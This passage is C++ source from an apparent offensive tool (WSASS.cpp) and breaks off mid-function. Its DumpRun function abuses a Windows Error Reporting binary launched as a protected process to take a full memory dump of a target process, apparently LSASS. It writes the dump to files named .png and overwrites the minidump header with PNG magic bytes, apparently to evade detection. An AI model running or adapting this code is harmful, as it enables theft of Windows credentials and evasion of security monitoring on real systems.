Function DumpRun

WSASS.cpp:223–304

}

BOOL DumpRun(std::wstring werPath, DWORD targetPID, DWORD targetTID)
{
    // 1. Prepare SECURITY_ATTRIBUTES for inheritable handles
    SECURITY_ATTRIBUTES sa = {};
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = nullptr;

    // 2. Create the output files for the dumps
    HANDLE hDump = CreateFileW(L"proc.png", GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    HANDLE hEncDump = CreateFileW(L"proce.png", GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hDump == INVALID_HANDLE_VALUE || hEncDump == INVALID_HANDLE_VALUE)
    {
        std::wcerr << L"Failed to create dump files: " << GetLastError() << std::endl;
        return 0;
    }
    // 3. Create the cancellation event
    HANDLE hCancel = CreateEventW(&sa, TRUE, FALSE, nullptr);
    if (!hCancel)
    {
        std::wcerr << L"Failed to create cancel event: " << GetLastError() << std::endl;
        CloseHandle(hDump);
        CloseHandle(hEncDump);
        return 0;
    }

    //
    std::wstringstream cmd;
    cmd << werPath
        << L" /h"
        << L" /pid " << targetPID
        << L" /tid " << targetTID
        << L" /file " << HandleToDecimal(hDump)
        << L" /encfile " << HandleToDecimal(hEncDump)
        << L" /cancel " << HandleToDecimal(hCancel)
        << L" /type 268310"; // dump full
    std::wstring commandLine = cmd.str();
    PPLProcessCreator creator;

    // Create a thread to run ResumeProcessLoop
    std::thread resumeThread(ResumeProcessLoop, targetPID);
    // Detach the thread so it runs independently
    resumeThread.detach();

    //0 = WinTCB
    if (!creator.CreatePPLProcess(0, commandLine))
    {
        std::wcerr << L"Failed to create PPL process." << std::endl;
        CloseHandle(hDump);
        CloseHandle(hEncDump);
        CloseHandle(hCancel);
        return 0;
    }

    // Define the bytes to write: PNG magic header
    //Original file Should be 0x504d444d ("MDMP") 
    //BYTE origMagic[4] = {0x4D, 0x44, 0x4D, 0x50};  "MDMP"
    BYTE data[4] = { 0x89, 0x50, 0x4E, 0x47 }; //PNG magic header